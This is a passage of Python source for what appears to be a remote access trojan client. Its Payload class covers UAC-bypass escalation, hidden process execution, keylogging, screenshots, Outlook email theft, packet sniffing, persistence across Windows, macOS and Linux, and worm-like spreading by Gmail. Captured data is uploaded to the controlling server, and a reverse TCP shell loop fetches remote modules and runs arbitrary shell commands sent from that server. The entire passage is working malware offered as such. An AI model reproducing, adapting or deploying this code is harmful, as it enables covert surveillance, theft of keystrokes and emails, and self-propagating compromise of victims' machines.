1910                        results = globals()['outlook'].results
1911                        if len(results):
1912                            host, port = self.connection.getpeername()
1913                            data = {'txt': base64.b64encode(json.dumps(results))}
1914                            globals()['post']('http://{}:{}'.format(host, port+3), json=data)
1915                            return "Upload of Outlook emails complete"
1916                    elif hasattr(globals()['outlook'], mode):
1917                        return getattr(globals()['outlook'], mode)()
1918                    else:
1919                        return "Error: invalid mode '%s'" % mode
1920                else:
1921                    return self.outlook.usage
1922            except Exception as e:
1923                log("{} error: {}".format(self.email.__name__, str(e)))
1924
1925    @config(platforms=['win32'], command=True, usage='escalate')
1926    def escalate(self):
1927        """
1928        Attempt UAC bypass to escalate privileges
1929
1930        """
1931        try:
1932            if 'escalate' not in globals():
1933                self.load('escalate')
1934            return globals()['escalate'].run(sys.argv[0])
1935        except Exception as e:
1936            log("{} error: {}".format(self.escalate.__name__, str(e)))
1937
1938    @config(platforms=['win32','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')
1939    def execute(self, args):
1940        """
1941        Run an executable program in a hidden process
1942
1943        `Required`
1944        :param str path:    file path of the target program
1945
1946        `Optional`
1947        :param str args:    arguments for the target program
1948
1949        """
1950        path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]
1951        args = [path] + args.split()
1952        if os.path.isfile(path):
1953            name = os.path.splitext(os.path.basename(path))[0]
1954            try:
1955                info = subprocess.STARTUPINFO()
1956                info.dwFlags = subprocess.STARTF_USESHOWWINDOW ,  subprocess.CREATE_NEW_ps_GROUP
1957                info.wShowWindow = subprocess.SW_HIDE
1958                self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)
1959                return "Running '{}' in a hidden process".format(path)
1960            except Exception as e:
1961                try:
1962                    self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
1963                    return "Running '{}' in a new process".format(name)
1964                except Exception as e:
1965                    log("{} error: {}".format(self.execute.__name__, str(e)))
1966        else:
1967            return "File '{}' not found".format(str(path))
1968
1969    @config(platforms=['win32'], command=True, usage='process <mode>')
1970    def process(self, args=None):
1971        """
1972        Utility method for interacting with processes
1973
1974        `Required`
1975        :param str mode:    block, list, monitor, kill, search, upload
1976
1977        `Optional`
1978        :param str args:    arguments specific to the mode
1979
1980        """
1981        try:
1982            if 'process' not in globals():
1983                self.load('process')
1984            if args:
1985                cmd, _, action = str(args).partition(' ')
1986                if 'monitor' in cmd:
1987                    self.handlers['process_monitor'] = globals()['process'].monitor(action)
1988                    return "Monitoring process creation for keyword: {}".format(action)
1989                elif 'upload' in cmd:
1990                    log = globals()['process'].log.getvalue()
1991                    if len(log):
1992                        data = {'log': base64.b64encode(log)}
1993                        host, port = self.connection.getpeername()
1994                        globals()['post']('http://{}:{}'.format(host, port+3), json=data)
1995                        return "Process log upload complete"
1996                    else:
1997                        return "Process log is empty"
1998                elif hasattr(globals()['process'], cmd):
1999                    return getattr(globals()['process'], cmd)(action) if action else getattr(globals()['process'], cmd)()
2000            return "usage: process <mode>\n    mode: block, list, search, kill, monitor"
2001        except Exception as e:
2002            log("{} error: {}".format(self.process.__name__, str(e)))
2003
2004    @config(platforms=['win32','linux2','darwin'], command=True, usage='portscan <target>')
2005    def portscan(self, target=None):
2006        """
2007        Scan a target host or network to identify
2008        other target hosts and open ports.
2009
2010        `Required`
2011        :param str target:      IPv4 address
2012
2013        """
2014        if 'portscanner' not in globals():
2015            self.load('portscanner')
2016        try:
2017            if target:
2018                if not ipv4(target):
2019                    return "Error: invalid IP address '%s'" % target
2020                return globals()['portscanner'].run(target)
2021            else:
2022                return self.portscan.usage
2023        except Exception as e:
2024            log("{} error: {}".format(self.portscan.__name__, str(e)))
2025
2026    def pastebin(self, source, api_key=None):
2027        """
2028        Dump file/data to Pastebin
2029
2030        `Required`
2031        :param str source:      data or filename
2032
2033        `Optional`
2034        :param str api_key:     Pastebin api_dev_key
2035
2036        Returns URL of pastebin document as a string
2037
2038        """
2039        try:
2040            if api_key:
2041                info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
2042                paste = globals()['post']('https://pastebin.com/api/api_post.php',data=info)
2043                parts = urlparse.urlsplit(paste)
2044                return urlparse.urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
2045            else:
2046                return "{} error: no pastebin API key".format(self.pastebin.__name__)
2047        except Exception as e:
2048            return '{} error: {}'.format(self.pastebin.__name__, str(e))
2049
2050    @config(platforms=['win32','linux2','darwin'], command=True, usage='keylogger [mode]')
2051    def keylogger(self, mode=None):
2052        """
2053        Log user keystrokes
2054
2055        `Required`
2056        :param str mode:    run, stop, status, upload
2057
2058        """
2059        def status():
2060            try:
2061                length = globals()['keylogger'].logs.tell()
2062                return "Log size: {} bytes".format(length)
2063            except Exception as e:
2064                log("{} error: {}".format('keylogger.status', str(e)))
2065        if 'keylogger' not in globals():
2066            self.load('keylogger')
2067        if not mode:
2068            if 'keylogger' not in self.handlers:
2069                return globals()['keylogger'].usage
2070            else:
2071                return locals()['status']()
2072        else:
2073            if 'run' in mode or 'start' in mode:
2074                if 'keylogger' not in self.handlers:
2075                    self.handlers['keylogger'] = globals()['keylogger'].run()
2076                    return locals()['status']()
2077                else:
2078                    return locals()['status']()
2079            elif 'stop' in mode:
2080                try:
2081                    self.stop('keylogger')
2082                except: pass
2083                try:
2084                    self.stop('keylogger')
2085                except: pass
2086                return locals()['status']()
2087            elif 'upload' in mode:
2088                data = base64.b64encode(globals()['keylogger'].logs.getvalue())
2089                host, port = self.connection.getpeername()
2090                globals()['post']('http://{}:{}'.format(host, port + 3), json={'txt': data})
2091                globals()['keylogger'].logs.reset()
2092                return 'Keystroke log upload complete'
2093            elif 'status' in mode:
2094                return locals()['status']()
2095            else:
2096                return keylogger.usage
2097
2098    @config(platforms=['win32','linux2','darwin'], command=True, usage='screenshot <mode>')
2099    def screenshot(self, mode=None):
2100        """
2101        Capture a screenshot from host device
2102
2103        `Optional`
2104        :param str mode:   ftp, imgur (default: None)
2105
2106        """
2107        try:
2108            if 'screenshot' not in globals():
2109                self.load('screenshot')
2110            img = globals()['screenshot'].run()
2111            data = {"png": img}
2112            host, port = self.connection.getpeername()
2113            globals()['post']('http://{}:{}'.format(host, port+3), json=data)
2114            return 'Screenshot complete'
2115        except Exception as e:
2116            result = "{} error: {}".format(self.screenshot.__name__, str(e))
2117            log(result)
2118            return result
2119
2120    @config(platforms=['win32','linux2','darwin'], command=True, usage='persistence <add/remove> [method]')
2121    def persistence(self, args=None):
2122        """
2123        Establish persistence on client host machine
2124
2125        `Required`
2126        :param str target:          add, remove. methods, results
2127
2128        `Methods`
2129        :method all:                All Methods
2130        :method registry_key:       Windows Registry Key
2131        :method scheduled_task:     Windows Task Scheduler
2132        :method startup_file:       Windows Startup File
2133        :method launch_agent:       Mac OS X Launch Agent
2134        :method crontab_job:        Linux Crontab Job
2135        :method hidden_file:        Hidden File
2136
2137        """
2138        try:
2139            if not 'persistence' in globals():
2140                self.load('persistence')
2141            cmd, _, action = str(args).partition(' ')
2142            if cmd not in ('add','remove'):
2143                return self.persistence.usage
2144            for method in globals()['persistence']._methods:
2145                if action == 'all' or action == method:
2146                    try:
2147                        getattr(globals()['persistence']._methods[method], cmd)()
2148                    except Exception as e:
2149                        log("{} error: {}".format(self.persistence.__name__, str(e)))
2150            return json.dumps(globals()['persistence'].results())
2151        except Exception as e:
2152            log("{} error: {}".format(self.persistence.__name__, str(e)))
2153
2154    @config(platforms=['linux2','darwin'], capture=[], command=True, usage='packetsniffer [mode]')
2155    def packetsniffer(self, args):
2156        """
2157        Capture traffic on local network
2158
2159        `Required`
2160        :param str args:        run, stop, upload
2161
2162        """
2163        try:
2164            if 'packetsniffer' not in globals():
2165                self.load('packetsniffer')
2166            args = str(args).split()
2167            if len(args):
2168                mode = args[0]
2169                if 'run' in mode:
2170                    globals()['packetsniffer'].flag.set()
2171                    self.handlers['packetsniffer'] = globals()['packetsniffer'].run()
2172                    return "Network traffic capture started"
2173                elif 'stop' in mode:
2174                    globals()['packetsniffer'].flag.clear()
2175                    return "Network traffic captured stopped"
2176                elif 'upload' in mode:
2177                    log = globals()['packetsniffer'].log.getvalue()
2178                    if len(log):
2179                        globals()['packetsniffer'].log.reset()
2180                        data = {'pcap': base64.b64encode(log)}
2181                        host, port = self.connection.getpeername()
2182                        globals()['post']('http://{}:{}'.format(host, port+3), json=data)
2183                        return "Network traffic log upload complete"
2184                    else:
2185                        return "Network traffic log is empty"
2186                else:
2187                    return self.packetsniffer.usage
2188        except Exception as e:
2189            log("{} error: {}".format(self.packetsniffer.__name__, str(e)))
2190
2191    @config(platforms=['win32','darwin','linux2'], command=True, usage='spread <gmail> <password>')
2192    def spread(self, args=None):
2193        """
2194        Activate worm-like behavior and begin spreading client via email
2195
2196        `Required`
2197        :param str email:       sender Gmail address
2198        :param str password:    sender Gmail password
2199        :param str url:         URL of target email list
2200        """
2201        if not args or len(str(args.split()) != 3):
2202            return self.spread.usage
2203        if 'spreader' not in globals():
2204            self.load('spreader')
2205        try:
2206            attachment = sys.argv[0]
2207            gmail, password, url = args.split()
2208            recipients = urlopen(url).read().splitlines()
2209            return globals()['spreader'].run(gmail, password, attachment, recipients)
2210        except Exception as e:
2211            return '{} error: {}'.format(self.spread.__name__, str(e))
2212
2213    def send_task(self, task):
2214        """
2215        Send task results to the server
2216
2217        `Task`
2218        :attr str uid:             task ID assigned by server
2219        :attr str task:            task assigned by server
2220        :attr str result:          task result completed by client
2221        :attr str session:         session ID assigned by server
2222        :attr datetime issued:     time task was issued by server
2223        :attr datetime completed:  time task was completed by client
2224
2225        Returns True if succesfully sent task to server, otherwise False
2226
2227        """
2228        try:
2229            if not 'session' in task:
2230                task['session'] = self.info.get('uid')
2231            if self.flags.connection.wait(timeout=1.0):
2232                data = globals()['encrypt_aes'](json.dumps(task), self.key)
2233                msg  = struct.pack('!L', len(data)) + data
2234                self.connection.sendall(msg)
2235                return True
2236            return False
2237        except Exception as e:
2238            e = str(e)
2239            if "Errno 104" in e or "10054" in e:
2240                log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.send_task.__name__, e))
2241                self.kill()
2242                return
2243            elif "Errno 32" in e or "10052" in e:
2244                log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.send_task.__name__, e))
2245            elif "Errno 111" in e or "10061" in e:
2246                log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.send_task.__name__, e))
2247            else:
2248                log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.send_task.__name__, e))
2249            self.passive()
2250            #log("{} error: {}".format(self.send_task.__name__, str(e)))
2251
2252    def recv_task(self):
2253        """
2254        Receive and decrypt incoming task from server
2255
2256        `Task`
2257        :attr str uid:             task ID assigned by server
2258        :attr str session:         client ID assigned by server
2259        :attr str task:            task assigned by server
2260        :attr str result:          task result completed by client
2261        :attr datetime issued:     time task was issued by server
2262        :attr datetime completed:  time task was completed by client
2263
2264        """
2265        try:
2266            hdr_len = struct.calcsize('!L')
2267            hdr = self.connection.recv(hdr_len)
2268            if len(hdr) == 4:
2269                msg_len = struct.unpack('!L', hdr)[0]
2270                msg = self.connection.recv(msg_len)
2271                data = globals()['decrypt_aes'](msg, self.key)
2272                return json.loads(data)
2273            else:
2274                log("{} error: invalid header length".format(self.recv_task.__name__))
2275                if not self.connection.recv(hdr_len):
2276                    self.kill()
2277        except Exception as e:
2278            e = str(e)
2279            if "Errno 104" in e or "10054" in e:
2280                log("{} socket error: SERVER DISCONNECTED GRACEFULLY - {}".format(self.recv_task.__name__, e))
2281                self.kill()
2282                return
2283            elif "Errno 32" in e or "10052" in e:
2284                log("{} socket error: SERVER CRASHED OR INTERRUPTED - {}".format(self.recv_task.__name__, e))
2285            elif "Errno 111" in e or "10061" in e:
2286                log("{} socket error: SERVER OFFLINE OR CHANGED PORT - {}".format(self.recv_task.__name__, e))
2287            else:
2288                log("{} socket error: SERVER UNKNOWN COMMUNICATION FAILURE - {}".format(self.recv_task.__name__, e))    
2289            self.passive()
2290            #log("{} error: {}".format(self.recv_task.__name__, str(e)))
2291
2292    def run(self):
2293        """
2294        Initialize a reverse TCP shell
2295
2296        """
2297        host, port = self.connection.getpeername()
2298        self._get_resources(target=self.remote['modules'], base_url='http://{}:{}'.format(host, port + 1))
2299        self._get_resources(target=self.remote['packages'], base_url='http://{}:{}'.format(host, port + 2))
2300        self.handlers['prompt_handler'] = self._get_prompt_handler()
2301        self.handlers['thread_handler'] = self._get_thread_handler()
2302        log(json.dumps(self.remote, indent=2))
2303        while True:
2304            if self.flags.passive.is_set() and not self.flags.connection.is_set():
2305                host, port = self.c2
2306                self.connection = self._get_connection(host, port)
2307                self.key = self._get_key(self.connection)
2308                self.info = self._get_info()
2309                log("{} : leaving passive mode.".format(self.run.__name__))
2310                self.flags.prompt.set()
2311            elif self.flags.connection.wait(timeout=1.0):
2312                if not self.flags.prompt.is_set():
2313                    task = self.recv_task()
2314                    if isinstance(task, dict) and 'task' in task:
2315                        cmd, _, action = task['task'].partition(' ')
2316                        try:
2317                            command = self._get_command(cmd)
2318                            if command:
2319                                result = command(action) if action else command()
2320                            else:
2321                                result, reserr = subprocess.Popen(task['task'].encode(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate()
2322                                if result == None:
2323                                    result = reserr
2324                            if result != None:
2325                                result = bytes().join(result)
2326                        except Exception as e:
2327                            result = "{} error: {}".format(self.run.__name__, str(e)).encode()
2328                            log(result)
2329                        task.update({'result': result})
2330                        self.send_task(task)
2331                    self.flags.prompt.set()
2332                elif self.flags.prompt.set() and not self.flags.connection.wait(timeout=1.0):
2333                    self.kill()
2334            else:
2335                log("Connection timed out")
2336                break
2337
2338
2339if __name__ == '__main__':
2340    _payload = Payload(pastebin='c0f48932a0a62053c3fb22cc15e1f41b', host='127.0.0.1', port='445')
2341    _payload.run()